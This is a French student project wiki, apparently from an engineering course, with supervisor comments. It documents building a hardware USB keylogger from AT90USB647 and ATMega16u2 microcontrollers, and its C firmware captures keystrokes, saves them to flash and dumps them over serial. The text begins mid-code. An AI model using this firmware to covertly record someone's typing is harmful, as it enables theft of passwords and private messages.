AT45DB641E_cmd(&SPI_PORT, SPI_SS, 0x80, NULL, 0);
AT45DB641E_cmd(&SPI_PORT, SPI_SS, 0x9A, NULL, 0);
}

if (Command_Byte == SERIAL_FLASH_GET)
{
int address, byte;
uint8_t Data_to_Send[CODES_PACKET_SIZE];
for (address = 0; address <= (*page_actual); address++)
{
uint8_t data[FLASH_PAGE_SIZE];
AT45DB641E_read_page(&SPI_PORT, SPI_SS, address, data, sizeof(data), SEQ_START | SEQ_STOP);
for (byte = 0;
byte < (address == (*page_actual) ? *page_buffer_size : FLASH_PAGE_INDEX_MAX+1);
byte += CODES_PACKET_SIZE)
{
memcpy(Data_to_Send, &(data[byte]), CODES_PACKET_SIZE);

while (!Serial_IsSendReady());
Serial_SendData(Data_to_Send, CODES_PACKET_SIZE);
while (!Serial_IsSendComplete());
_delay_ms(10);
}
}
for (byte = 0; byte < (*flash_buffer_i); byte += CODES_PACKET_SIZE)
{
memcpy(Data_to_Send, &(flash_buffer[byte]), CODES_PACKET_SIZE);

while (!Serial_IsSendReady());
Serial_SendData(Data_to_Send, CODES_PACKET_SIZE);
while (!Serial_IsSendComplete());
_delay_ms(10);
}
}
}
}
</syntaxhighlight>

ReX : Code bien factorisé. Tu as récupéré les commandes pour le reset de la flash dans la documentation des AT45DB641E ? Le reset n'est pas vraiment nécessaire sauf à vouloir effacer ses traces.

Si l'octet de commande est celui du reset de la mémoire, on remet à zéro tout les indices concernant la mémoire et le buffer de la flash. Puis on appelle une commande de la flash qui consiste à réinitialiser toute la puce.

Lorsque la commande est celui de la récupération de la mémoire, on lit et envoie toutes les données des pages mémoires dans la flash, puis on envoie aussi les données qui se trouve potentiellement dans le buffer de la flash.

Au final, dans le programme de l'AT90, on se retrouve avec deux nouvelles variables <code>flash_buffer</code> qui est le tableau de taille 63 (capable de stocker 9 entrées du clavier) et <code>flash_buffer_i</code> qui nous permet de suivre l'évolution du remplissage du buffer. De plus, on peut voir l'ajout d'un délai de 10 millisecondes qui permet d'espacer chaque envoie en plus de la fonction <code>Serial_IsSendComplete</code> afin de ne pas avoir un caractère qui saute à la réception.

Concernant le programme de l'ATMega, pas grand chose n'a changé si ce n'est la façon de recevoir les octets de données des touches tapées :

<syntaxhighlight lang="c">
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)
{
/* Clear the report contents */
memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));

if (Serial_IsCharReceived())
{
ReportData->Modifier = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[0] = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[1] = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[2] = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[3] = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[4] = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[5] = Serial_ReceiveByte();
}
}
</syntaxhighlight>

On attend à partir de la fonction <code>Serial_IsCharReceived</code> qu'un octet soit sur le flux de la liaison série. Puis on récupère l'octet via la fonction <code>Serial_ReceiveByte</code>. Assez simple finalement ! = )

ReX : D'après ton schéma des connexions de connecteurs je crains que l'AT90 soit en 3.3V et l'ATMega en 5V. Ca pourrait provoquer des problème avec la connexion UART. Tu peux rajouter sur le schéma la position des cavaliers pour que je sois sûr ?



= Documents Rendus =
[[:Fichier:Keyboard-Device-Atmega (Semaine 1).zip#file]]

ReX : Erreur dans la fonction <code>LEDs_ToggleLEDs</code>.

ReX : Erreur dans le <code>makefile</code>, la fréquence de lu quartz externe est de 8Mhz. Mettre le code ci-dessous en début de fonction <code>main</code> :
CLKSEL0 = 0b00010101; // sélection de l'horloge externe <ref name=":0" group="Code associé" />
CLKSEL1 = 0b00001111; // minimum de 8Mhz
CLKPR = 0b10000000; // modification du diviseur d'horloge (CLKPCE=1)
CLKPR = 0; // 0 pour pas de diviseur (diviseur de 1)
Tests AT45DB641E : [[:Fichier:TestMem CMD WR.zip|Fichiers de test mémoire]]

Tests AT90USB647 : [[:Fichier:KeyboardHost.zip|Fichiers KerboardHost]]

Fichiers Keylogger : [[:Fichier:Keylogger.zip|Fichiers Keylogger]] | [[:Fichier:Keyboard to PC.zip|Fichiers Keylogger sans la mémoire]] | [[:Fichier:Keylogger Serial Testing.zip|Fichiers d'expérimentation pour la liaison série]]

=== Liste des références vidéo ===
<references />

=== Liste des références image ===
<references group="Image" />

=== Liste des références code ===
<references group="Code associé" />

SE4 2022/2023 EC5

2023-08-15T15:20:17Z

Bnguyen1 : /* Modification du Keylogger */

= Objectifs =

Il vous est demandé de :
* réaliser un keylogger en partant d'un prototype réalisé par un élève des années précédentes, ce prototype comporte :
** un microcontrôleur AT90USB647 pour pouvoir utiliser un projet LUFA en mode hôte,
** un microcontrôleur ATMega16u2 pour pouvoir utiliser un projet LUFA en mode périphérique,
** une mémoire flash pour pouvoir sauver les touches capturées ;
* commencez par écrire un programme, basé sur la démonstration LUFA bas-niveau Keyboard pour vérifier que la partie ATMega16u2 de la carte fonctionne ;
* poursuivez en vérifiant que vous avez accès, à partir de l'AT90USB647 à la carte mémoire AT45DB641E, vous pouvez vous baser sur le code des PeiP ;
* vous pourrez alors tester la démonstration LUFA hôte bas-niveau KeyboardHost ;
* enfin terminez en récupérant les symboles lus par l'AT90USB647 sur le clavier USB pour les transmettre par UART à l'ATMega16u2 puis au PC ;
* il reste à stocker les symboles au passage dans la mémoire flash et à prévoir une interface particulière sur l'ATMega16u2 pour récupérer les informations.

= Matériel nécessaire =

Vous avez besoin du prototype de la carte keylogger et d'un Arduino configuré en programmateur AVR ISP.

[[file:2023-keylogger-schema.png|thumb|400px|left|Schéma électronique]]
[[file:2023-keylogger-pcb.png|thumb|400px|right|Routage]]

Le schéma électronique et le routage de cette carte sont donnés dans les figures ci-contre.

Le [[file:2023-keylogger-fritzing.zip]] fichier Fritzing de la carte est disponible (à renommer en <code>.fzz</code>).

Le dernier projet sur ce sujet est disponible sur l'ancien Wiki [https://wiki-ima.plil.fr/mediawiki//index.php/IMA4_2020/2021_EC2].

<div style="clear: both;" />

= Travail réalisé =

=== Semaine 1 ===
En premier temps, je me suis intéressé au fonctionnement, aux outils et librairie nécessaire au fonctionnement de la librairie LUFA.

J'ai donc essayé de comprendre comment créer un projet LUFA grâce aux démos, d'installer les programmes tel que dfu-programmer et avr-gcc.

Cependant, n'ayant pas de PC natif linux, j'ai d'abord essayer avec Windows Sous Linux (qui est la solution que j'ai utilisé tout au long de l'année) mais je n'arrivais pas à apercevoir le périphérique USB de la carte Atmega16u2, j'ai donc essayé d'installer et utiliser une VM Linux et j'ai pu lier le périphérique DFU Bootloader de l'Atmega vers la VM afin de téléverser le programme de démo device : Keyboard.
[[Fichier:Capture d'écran Ouverture Fritzing.png|vignette]]
J'ai essayé d'ouvrir le fichier schématique de la carte électronique qui fonctionne très bien, mis à part trois fichier/modèle manquant dans l'archive comme les boutons reset et l'AT90. Ainsi, j'ai pu déterminer où été branché les leds à l'Atmega afin de configurer le programme de démo LUFA.

J'ai réussi à téléverser un programme et à contrôler les leds de la carte électronique du côté de l'Atmega, mais je pense qu'il doit toujours y avoir des erreurs dans la configuration du programme. En effet, lorsque je regarde la description du périphérique USB de l'Atmega, j'observe qu'il n'y a pas d'Endpoint présent dans la description.

Enfin, je n'arrivais pas à récupérer une fonction de délai afin de faire clignoter les leds, donc j'ai essayé d'implémenter les boutons de la carte électronique qui fonctionne bel et bien, plus qu'à regarder la vidéo pour voir le code à l'action !

Vidéo : [[:Fichier:EC5-Semaine1.mp4]]<ref>Vidéo rapport semaine 1</ref>

ReX : Impossible de voir quelle erreur tu as fait pour les LED : pas de code dans le Wiki.

ReX : La vidéo n'existe plus merci de la télécharger dans le Wiki.

ReX : La fonction de délai est <code>_delay_ms</code>, le fichier d'inclusion nécessaire est <code>util/delay.h</code>.

=== Semaine 2 ===

L'erreur apparaît car la fonctionnalité USB côté Atmega16u2 n'est pas implémenter/implémentable.

ReX : Cette phrase n'a pas de sens l'ATMega16u2 est bien doté d'une implantation USB matérielle. A la livraison du matériel j'ai aussi montré le bon fonctionnement du mode DFU/USB et la façon d'y faire entre le microcontrôleur.

ReX : Au vu des erreurs dans le projet LUFA je crois comprendre ce que vous voulez dire c'est que vos erreurs dans le projets LUFA font que la fonctionnalité USB de ce projet est défaillante. Corrigez, testez à nouveau ...
[[Fichier:Image.png|vignette]]
Benjamin : Après avoir corriger le code pour le 16u2, j'ai essayé d'implémenter un code pour l'USB647, mais lorsque je regarde dans mes périphériques, mon ordinateur ne reconnaît pas ... J'ai essayé de voir dans les travaux déjà réalisé et ai trouvé qu'il y'avait une manière particulière de bootloader le micro contrôleur (à la même manière qu'avec le 16u2) <ref group="Image">[[:Fichier:Keyboard problem2.jpg]]</ref>, mais le périphérique reste inconnu pour ma machine.

Benjamin : J'ai réussi à trouver le périphérique en téléchargeant le logiciel [https://www.microchip.com/en-us/development-tool/flip FLIP] et en suivant cette vidéo (<nowiki>https://youtu.be/Vd0F0XHzchY</nowiki>).

ReX : Tu tentes de faire le projet sous windows ?

Benjamin : Non, j'utilise une VM Linux pour faire le projet, mais je n'ai que des machines Windows chez moi et impossible de Dual Boot mon PC.

ReX ; Dans ce cas tu peux affecter le périphèrique USB en mode DFU à la machine virtuelle et téléverser avec <code>dfu-programmer</code>.

ReX : Une preuve du fonctionnement pour l'ATMega16u2 ?

Benjamin : Non, il n'y a pas de preuve du fonctionnement de l'ATMega16u2 concernant la partie USB, néanmoins de part la consigne de la première étape qui m'a été donné ci-dessus, il est question de vérifier le fonctionnement du microcontrôleur et donc de savoir si il est aussi possible de téléverser un programme sur celui-ci. On peut donc voir par la vidéo fourni la semaine dernière que le microcontrôleur fonctionne correctement, sans pour autant avoir la partie USB fonctionnelle.

Cependant, en téléversant la démo fourni par LUFA, on voit que l'ATMega16u2 prend le contrôle de mon clavier [[:Fichier:Video-atmega16u2-usb.mp4|(voir vidéo)]]<ref>[[:Fichier:Video-atmega16u2-usb.mp4|Video-atmega16u2-usb]]</ref>.

ReX : Heu je te vois taper sur ton clavier ?

Benjamin : J'ai essayé de voir pour résoudre le problème concernant la connexion à l'USB647, mais je n'ai toujours pas de solution. J'essaie de voir pour emprunter une machine à un ami qui soit sous booté sous Linux afin de voir si le problème vient du système d'exploitation.

ReX : Heu, alors 1) faire SE sans machine Linux c'est quand même un problème 2) au pire démarre un Linux live sur une clef USB. Tu vas quand même pas t'arrêter sur ce genre de détail !

=== Semaine 3 ===
Benjamin : J'ai booté un ancien PC avec une distribution Linux et j'arrive enfin à utiliser l'AT90USB647. J'ai alors configuré le code réalisé par les PeiP en renseignant les bonnes informations à propos de la Flash et des Leds. Cependant, en téléversant mon programme, les leds ne s'allume pas, j'ai essayé de regarder si la tension était bonne aux broches des Leds (Broches F5 et F6) et il semble que la tension délivré soit la basse impédance.

Fichier : [[:Fichier:MassStoragePeiP.zip|Archive Code_AT90USB]]

Question : Y'a t'il des choses à configurer correctement afin d'utiliser l'AT90USB ? Car dans l'état, je ne peux pas savoir si tout fonctionne sans témoin visuel.

Update : Tout fonctionne concernant l'AT90USB647, les LEDS avaient été soudées à l'envers.

=== Semaine 4 ===
Pendant cette semaine, j'ai essayé de mettre en place les deux démos de la librairie LUFA : MassStorage et KeyboardHost, énoncés dans les tâches à effectuer ci-dessus.

ReX : J'ai beau chercher je vois pas où j'ai demandé de tester MassStorage sur l'AT90USB, dans mon esprit c'était les programmes de test de la mémoire qui peuvent se trouver sur le site des BE SE PeiP.

Benjamin : Je pense que je suis parti sur MassStorage car en fouillant sur le [https://peip-ima.plil.fr/mediawiki/index.php/BE_2022-2023 wiki] j'avais trouvé ce [https://peip-ima.plil.fr/mediawiki/images/6/6b/MassStoragePeiP.zip fichier], alors que vous faisiez référence à ce [https://peip-ima.plil.fr/mediawiki/index.php/Binome2019-2 projet].

''MassStorage :'' J'ai repris le code [[:Fichier:MassStoragePeiP.zip|MassStoragePeiP]] et ai adapté les broches de leds aux broches PD2 et PD3 qui pouvait être récupérer via des broches mâles afin de faire clignoter des leds sur une board externe, en attendant de résoudre le problème des leds souder à l'envers.

ReX : Alors 1) ce code ne fait aucun test sur la mémoire, voir les tests TestMem, TestMemRW et TestMemRW2 comme indiqué par courriel 2) les LEDs ne marcheront pas correctement tant que l'AT90USB n'aura pas été lancé sur l'horloge interne et tant que le JTAG n'aura pas été désactivé, voir le programme Blink envoyé par courriel.

Je pense que tout est bien configuré et tout fonctionne concernant la liaison entre l'AT90 et l'AT45 car les clignotements de leds entre chaque tâche d'appel est présent ce qui indiquerait un bon fonctionnement.

ReX : Heu non pratiquement rien n'est correctement configuré (voir remarque précédente), de plus je ne vois où tu es sensé avoir vérifié quelque chose via les LED, le fait que tu n'indiques pas les modifications apportées en ce sens n'aide pas. Par contre l'idée d'utiliser des LED externes sur plaque d'essai est une bonne idée en attendant de réparer la carte fournie.

'''''Update :''''' Après en avoir discuté avec ReX par mail, l'utilisation de la démo MassStorage pour tester la flash était overkill, il m'a donc donné un programme pour tester la mémoire (que l'on retrouve sur le wiki des PeiP : [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip lien]).

ReX : Oui :)

''KeyboardHost :'' J'ai repris la démo de la librairie LUFA que je n'ai pas beaucoup modifié pour pouvoir l'utiliser, et tout semble bien fonctionner après le téléversement du programme.

ReX : Oui mais ça aiderait d'avoir le projet pour vérifier si le JTAG est bien désactivé, si le microcontrôleur est bien lancé sur l'horloge externe, etc.

Cependant, puisque les seuls leds que j'ai pour l'instant à ma disposition occupe les broches pour la communication UART (liaison série), je n'arrivais pas à comprendre pourquoi je n'avais pas le comportement que j'avais essayé d'avoir via le programme (clignotement de led dans certains cas et autre), avant de comprendre que les signaux que les leds recevait était la communication UART.

ReX : Le port série est effectivement utilisé dans la démonstration LUFA pour afficher quelques touches, il faudrait plutôt que tu changes l'état de tes 2 LED si des touches bien précises sont appuyées, avec 2 LED, tu peux tester 4 touches c'est déjà ça.

Mis à part ça, j'ai connecté un clavier via le port USB de la carte et j'observe que le clavier est bien lié à l'ordinateur qui alimente la carte électronique. Le microcontrôleur agît bien comme un clavier hôte.

ReX : Je ne comprend pas là, il est impossible que le clavier soit reconnu si tu connectes l'ATMega16u2 à ton PC, tout ce qu'il va voir c'est la démonstration LUFA que tu as chargé dans l'ATMega16u2, rien à voir.

Benjamin : C'est l'AT90USB qui est connecté à mon PC, pour l'instant je n'ai plus touché à l'Atmega depuis. J'ai donc téléverser la démo et je peux interagir sur mon PC avec le clavier brancher sur la carte, mais après réflexion je me demande si c'est vraiment grâce au programme que je peux faire ca. Est-ce que ce serait pas parce qu'il y'a une connexion entre l'USB-B du clavier et l'USB-DFU que le clavier arrive à communiquer avec mon PC ?

ReX : Tu utilises à la fois le connecteur USB A femelle et le connecteur micro USB du coté de l'AT90USB ? Si c'est le cas ça va faire des étincelles : tu connectes un périphérique USB à DEUX contrôleurs USB, ça ne peut pas bien se passer ...

<s>J'ai essayé de mettre en place une interface afin de voir les caractères tapés et transmis par la liaison série. On retrouve donc un Arduino et un écran LCD qui est censé montrer la touche tapé. Mais lorsque j'ai essayé de lié l'Arduino avec l'AT90USB, je n'arrivais pas à recevoir les touches tapés sur mon clavier (je pense que dans le programme du microcontrôleur, il ne comprend pas quelle touche est tapé) et me retrouver sans caractère. J'ai donc essayé en envoyant en boucle une lettre précise comme ci-dessous :</s>

Afin de pouvoir observer les touches tapés sur le clavier, j'ai mis en place un Arduino et un écran LCD. Il y'aurait donc une liaison entre l'Arduino et l'AT90 via UART afin de récupérer l'information sur la touche tapée.

J'ai donc essayé de récupérer les touches tapées via la liaison série, mais je ne récupère rien du tout. J'ai donc essayé d'envoyer en boucle un caractère (code ci-dessous) et on le retrouve bien sur l'écran LCD.

D'où mon questionnement sur le fait de savoir si dans le programme, on récupère bien le caractère tapé sur le clavier ou non.

ReX : Corrige les fautes d'orthographe dans ce paragraphe, je n'arrive même pas à comprendre ce que tu veux dire.

<syntaxhighlight lang="c">
// Et ça m'affiche le caractère A sur l'écran LED
putchar('A');
</syntaxhighlight>
[[Fichier:Arduino-LCD & At90.jpg|centré|vignette|Montage Arduino/LCD & KeyLogger]]
On retrouve le fil bleu qui est le RX de l'arduino et le TX de l'AT90, pour le fil rouge l'inverse, et le fil gris est la masse.

ReX : La carte keylogger n'est pas présente sur la photo, tu as bien pensé à connecter les masses ? et à inverser les RX/TX ?

Pour la suite, il faudrait que je réfléchisse sur la manière de faire pour que l'Arduino capte les données de la liaison série alimentée en 3.3V.

ReX : Ca ne va pas être simple. Le mieux est de tester avec les LED externes puis faire un test complet avec connexion série entre l'AT90USB et l'ATMega16u2. Les LED de l'ATMega16u2 sont bien configurées et si tu veux afficher les touches par port série tu peux passer l'ATMega16u2 en passerelle USB série en chargeant la bonne démonstration LUFA.

'''''NB :''''' pour alimenter l'AT90USB en 3.3V, il faut changer la position du cavalier de la jonction J10 (les deux pins côté Port USB)

J'ai corrigé le problème des leds, je les ai ressoudés dans le bon sens.

Cependant, dans le processus, j'en ai perdu une que j'ai donc remplacé avec une led d'un arduino qui ne fonctionne plus.
[[Fichier:AT90 leds fix.jpg|vignette|Carte avec les nouvelles leds soudé dans le bon sens]]

ReX : Excellent, ce n'est pas rare de détruire une LED en la désoudant, c'est fragile, bravo pour la rectification.

=== Semaine 5 ===

==== Mémoire ====
J'ai travaillé sur l'accès mémoire de l'AT45DB641E en commençant par comprendre le fichier de test envoyé et [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip trouvé]. On peut voir la démonstration du programme avec la [[:Fichier:TestMem CMD.mp4|vidéo suivante]]<ref>Vidéo test mémoire par commande</ref>.

ReX : Le programme chargé sur le Wiki (MémoireB2) ne correspond pas à la démonstration. Mais très jolie vidéo de démonstration du test de l'ID.

Benjamin : Effectivement, je voulais juste référencer l'archive où l'on pouvait trouver la librairie pour la flash.

Ensuite, pour pouvoir me faire la main avec la librairie récemment acquise, j'ai écris un programme qui écrit dans la mémoire des données que je récupère ensuite. On peut voir la démonstration dans la [[:Fichier:TestMem WR.mp4|vidéo suivante]]<ref>Test mémoire en écriture et lecture</ref>.

On retrouve le code des deux programmes via ce [[:Fichier:TestMem CMD WR.zip|lien]].

J'ai ajouté dans le code une fonction ''blink_ending'' pour distinguer les fins de fonction.

ReX : Très jolie vidéo de démonstration (et code de la précédente démonstration trouvé dans le code lié à la seconde).

==== Gestion clavier USB ====
Aujourd'hui, j'ai travaillé sur la démonstration KeyboardHost sur l'AT90USB647. On peut voir la démonstration en [[:Fichier:KeyboardHost Demo Video.mp4|vidéo]]<ref>Vidéo démo du programme KeyboardHost sur l'AT90</ref>.

ReX : Très bonne vidéo de démonstration. Le programme correspondant est donné un peu après.

On peut aussi observer dans la vidéo que l'on alimente l'AT90USB647 avec l'Atmega16U2.

Lors du téléversement du programme, je ne comprenais pas pourquoi les leds ne s'allumaient pas, jusqu'à ce que je me souvienne d'une conversation avec ReX par mail parlant de correctement configurer l'horloge du microcontrôleur<ref name=":0" group="Code associé">Configuration de l'horloge</ref>. On peut retrouver le programme de démonstration avec la configuration des leds ainsi que de l'horloge [[:Fichier:KeyboardHost.zip|ici]].

ReX : Marche pas bien la balise ref ... (tentative de correction par ajout d'une balise references en fin de page).

En voulant continuer sur ma lancée en liant les deux microcontrôleurs, je n'arrivais pas encore à récupérer les touches tapées via la liaison série. Cependant, en me rappelant l'Arduino LCD réalisé précédemment, j'ai enregistré une démonstration du KeyboardHost avec l'Arduino LCD qui affiche les caractères tapés. On peut voir la vidéo via [[:Fichier:KeyboardHost LCD.mp4|ce lien]]<ref>Vidéo AT90 et Arduino/LCD qui récupère les caractères</ref>.

ReX : Excellente vidéo de démonstration, le code est donné avant pour une fois.

[[Fichier:Keylogger Keyboard To PC.jpg|vignette|Keylogger avec l'alimentation et UART connectés]]

Aujourd'hui j'ai essayé de lier l'AT90 et l'ATMega via la liaison série, résultat dans la [[:Fichier:Keyboard PC.mp4|vidéo suivante]]<ref>Vidéo démo Clavier -> AT90 (USART) -> ATMEGA -> PC</ref>. Pour obtenir ce résultat, j'ai téléversé les démos KeyboardHost sur l'AT90 et Keyboard sur l'Atmega. Je les ai légèrement modifiés pour pouvoir inclure la communication série dans la démo Keyboard, et j'ai modifié la logique d'envoi de caractère pour envoyer directement le code HID obtenu via le clavier sur l'AT90 et non le caractère ASCII (présenté dans la démo de base).

On peut retrouver ci-joint les deux programmes [[:Fichier:Keyboard to PC.zip|Keyboard et KeyboardHost]] qui sont exécutés respectivement sur l'ATMega et l'AT90.

ReX : Excellente vidéo de démonstration. Le code est donné pas trop loin de la vidéo. Pour que les touches modificatrices puissent être utilisées, il suffirait d'envoyer deux octets par liaison série : les modificateurs et la première touche (il serait même possible d'envoyer l'ensemble des touches, il faudrait seulement prendre soin d'envoyer un octet de préambule style 0xff pour synchroniser les blocs de données série).

Remarque: Je me rend compte que pendant les semaines précédentes, je partais dans toutes les directions en modifiant tout du programme de démo alors qu'il suffisait simplement de modifier quelques lignes de code concernant la configuration du microcontrôleur et de bien fouiller dans les travaux déjà effectué par d'anciens élèves. Comme quoi la librairie LUFA est vraiment complète et fonctionnelle.

ReX : Très bonne autocritique, vous avez su prendre du recul sur l'EC.

==== Keylogger ====
J'attaque désormais l'implémentation de la mémoire sur l'AT90 et un moyen de récupérer ces données. Je pensais utiliser les boutons en dessous de l'ATMega pour pouvoir commander l'AT90 par liaison série et l'ordonner d'envoyer tous les caractères lu.

ReX : Le bouton peut être utilisé pour démasquer des EP USB permettant de récupérer les données mais je dirais que si les EP sont toujours présentes cela suffira largement.

Pour la mise en mémoire des touches tapés, j'ai essayé de faire comme ci-dessous :
<syntaxhighlight lang="c" line="1">
int main(void)
{
CLKPR = (1<<CLKPCE);
CLKPR = 0;
MCUCR |= (1<<JTD);
MCUCR |= (1<<JTD);

SetupHardware();

puts_P(PSTR(ESC_FG_CYAN "Keyboard HID Host Demo running.\r\n" ESC_FG_WHITE));

LEDs_SetAllLEDs(LEDMASK_USB_NOTREADY);
GlobalInterruptEnable();

/* Variable for the AT45DB641E */
int page_start = 0;
int page_actual = page_start;
int page_buffer_size = 0;

for (;;)
{
KeyboardHost_Task(&page_actual, &page_buffer_size);
Flash_Task(&page_start, &page_actual, &page_buffer_size);
USB_USBTask();
}
}

// ...

void KeyboardHost_Task(int *page_actual, int *page_buffer_size)
{
// ...
/* Checking if the previous buffer was full to change pages or not */
if (*page_buffer_size == FLASH_PAGE_SIZE) {
*page_buffer_size = 0;
(*page_actual)++;
}

/* AT45DB641E communication */
/* Recup of the data of the actual page to re-write on */
unsigned char data[FLASH_PAGE_SIZE];
AT45DB641E_read_page(&SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the Modifier and Keycode in the array */
data[(*page_buffer_size)++] = KeyCode;

/* Writing in the AT45DB641E buffer before writing in the flash */
AT45DB641E_write_buffer(&SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the buffer into the flash at page_actual address */
AT45DB641E_write_page(&SPI_PORT, SPI_SS, *page_actual);

/* Waiting the flash finishing writing at page_actual address */
while(AT45DB641E_busy(&SPI_PORT, SPI_SS)) {
LEDs_TurnOnLEDs(LEDS_LED1);
}
LEDs_TurnOffLEDs(LEDS_LED1);

/* Serial communication */
Serial_SendByte(KeyCode);

// ...
}
</syntaxhighlight>

ReX : Ce n'est pas optimal mais dans l'idée ça doit marcher. Pour de l'optimal, il faudrait écrire les touches dans un tampon de faible taille (mettons 64 octets) et écrire le tampon une fois plein (ou au bout d'un certain temps d'inactivité). Il y aurait moins d'accès mémoire (la flash ça se fatigue).

Dans ma logique, j'utilise trois variables : <code>page_start</code> qui est la page où l'on commence l'écriture, <code>page_actual</code> qui indique la page courante et <code>page_buffer_size</code> qui indique la taille courante du buffer de données, afin de trouver l'index de la touche à mémoriser dans le buffer, et ensuite dans la flash.

ReX : La variable <code>page_start</code> me semble inutile.

L'algorithme est simple, on vérifie tout d'abord si la taille du buffer précédent est égal à la taille d'une page de la flash. Si oui, on réinitialise le compte sur la taille et on incrémente la page courante. Ensuite on récupère les données de la page courante afin de réécrire par dessus. On met les données dans le buffer qu'on écrit ensuite dans la flash à la page <code>page_actual</code>. Puis on attend que l'écriture est effectuée pour passer à la tâche suivante qui est l'envoi de la touche tapée. (Edit: Dans le programme final, on envoie d'abord les touches puis on enregistre, mais je ne pense pas que ça change beaucoup au niveau de la performance).

Du côté de l'ATMega c'est simple, il n'y a que la réception qui s'effectue et l'écriture dans le rapport.

<syntaxhighlight lang="c">
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)
{
/* Clear the report contents */
memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));

if (Serial_IsCharReceived())
{
ReportData->KeyCode[0] = Serial_ReceiveByte();
}
}
</syntaxhighlight>

Comme je l'avais signalé dans la vidéo précédente, les données à propos des modifieurs (Shift, Control, etc) ne sont pas reçus. J'ai donc essayé d'inclure l'octet Modifier du rapport clavier, mais sans succès. J'ai essayé de trouver des solutions afin de synchroniser par exemple l'envoi et la réception, l'utilisation de la fonction <code>Serial_SendData</code> pour envoyer les deux octets (Modifieur et Code_Touche) en une fois, mais puisque la liaison USART est asynchrone, je crois bien que le problème est là. Je vais donc essayer de faire des fonctions de réception de paquet lorsque l'ATMega détecte la réception d'un octet.

ReX : Nombreuses correction de coquilles dans tout le Wiki (voir l'historique).

ReX : Le problème pour l'envoi de l'octet <code>modifier</code> est peut être du au fait que la fonction d'envoi des octets par série n'est pas bloquante (voir commentaire plus loin).

<s>De plus, j'ai essayé d'utiliser les boutons de l'Atmega pour envoyer des octets de données à l'AT90 via liaison série, mais j'ai l'impression que celui-ci ne les reçois pas, ou du moins il ne récupère pas les bons octets (ca m'affiche toujours 0xFF).</s> Edit: J'avais juste oublié d'appeler la fonction dans la boucle du main.

Ci-dessous, on retrouve la fonction executée sur l'AT90 pour gérer la commande de la flash de la part de l'ATMEGA16U2 vers l'AT90USB647. <syntaxhighlight lang="c" line="1">
void Flash_Task(int *page_start, int *page_actual, int *page_buffer_size)
{
if (Serial_IsCharReceived())
{
uint8_t Command_Byte = Serial_ReceiveByte();
uint8_t Ending_Byte;
do {
Ending_Byte = Serial_ReceiveByte();
} while((Ending_Byte != 0xFF) || (Ending_Byte == Command_Byte));

if (Command_Byte == SERIAL_FLASH_RESET)
{
*page_actual = *page_start;
*page_buffer_size = 0;
}

if (Command_Byte == SERIAL_FLASH_GET)
{
uint8_t data[FLASH_PAGE_SIZE];

int address, j;
for (address = (*page_start); address <= (*page_actual); address++)
{
AT45DB641E_read_page(&SPI_PORT, SPI_SS, address, data, sizeof(data), SEQ_START | SEQ_STOP);
for (j = 0; j < ((address == (*page_actual)) ? (*page_buffer_size) : FLASH_PAGE_SIZE); j += 2)
{
/* Communicating data by serial connection */
while (!Serial_IsSendReady());
Serial_SendByte(data[j]);
Serial_SendByte(data[j+1]);
while (!Serial_IsSendComplete());
_delay_ms(50);
}
}
}
}
}
</syntaxhighlight>'''Explications :'''

* Tout d'abord, on vérifie si il y'a un message sur la liaison série de l'ATMega vers l'AT90.
* Si oui, on lit l'octet de commande et on attends que la voie série soit vide.
* Ensuite on effectue une tâche selon le code:
** '''''SERIAL_FLASH_RESET''''' qui est 0x22 dans le programme final (valeur prise sans raison particulière) remet à zéro la mémoire de la flash afin d'enregistrer une nouvelle saisie.
** '''''SERIAL_FLASH_GET''''' qui est 0x23 dans le programme final (juste que j'aime bien le nombre 23) permet de récupérer les touches tapées et de les envoyer.
*** On parcourt toutes les pages qui ont pu être enregistrées.
*** On récupère les touches tapées sur la page.
*** On parcourt le tableau de deux en deux : On envoie la donnée à l'indice pair qui est le code de touche, et on envoie la donnée à l'indice impaire qui est le code modifieur (Shift, Control, etc...).
*** On laisse un court instant de délai afin de laisser le temps à l'ATMEGA de bien recevoir les octets de la touche enregistrée. (J'ai essayé avec des délais plus court, mais ça ne nous redonne pas correctement la liste enregistrée, des lettres sont passés si le délai est trop court)

A la ligne 25 on peut observer un ternaire pour la condition de boucle. On regarde si l'adresse de page est égale à <code>page_actual</code> qui est en fait la dernière page enregistrée. Si oui, alors il faut interrompre l'indice j avant qu'elle ne dépasse la taille des données enregistrées sur la dernière page, sinon l'indice j parcourt <codeFLASH_PAGE_SIZE fois le tableau de donnée récupéré.

ReX : Le délai me paraît non nécessaire par contre les deux <code>Serial_SendByte</code> sans attente entre les deux me paraît joueur. Sauf si <code>Serial_SendByte</code> est bloquant mais je parierais pas.

Concernant la fonction de gestion de la flash du côté de l'ATMega :
<syntaxhighlight lang="c" line="1">
void Flash_Task(void)
{
uint8_t ButtonStatus_LCL = Buttons_GetStatus();

/* Reset flash button */
if (ButtonStatus_LCL & BUTTONS_BUTTON1){
_delay_ms(200);
Serial_SendByte(SERIAL_FLASH_RESET);
// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);
while(!Serial_IsSendComplete());
}

/* Get all the flash */
if (ButtonStatus_LCL & BUTTONS_BUTTON2){
_delay_ms(200);
Serial_SendByte(SERIAL_FLASH_GET);
// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);
while(!Serial_IsSendComplete());
}
}
</syntaxhighlight>

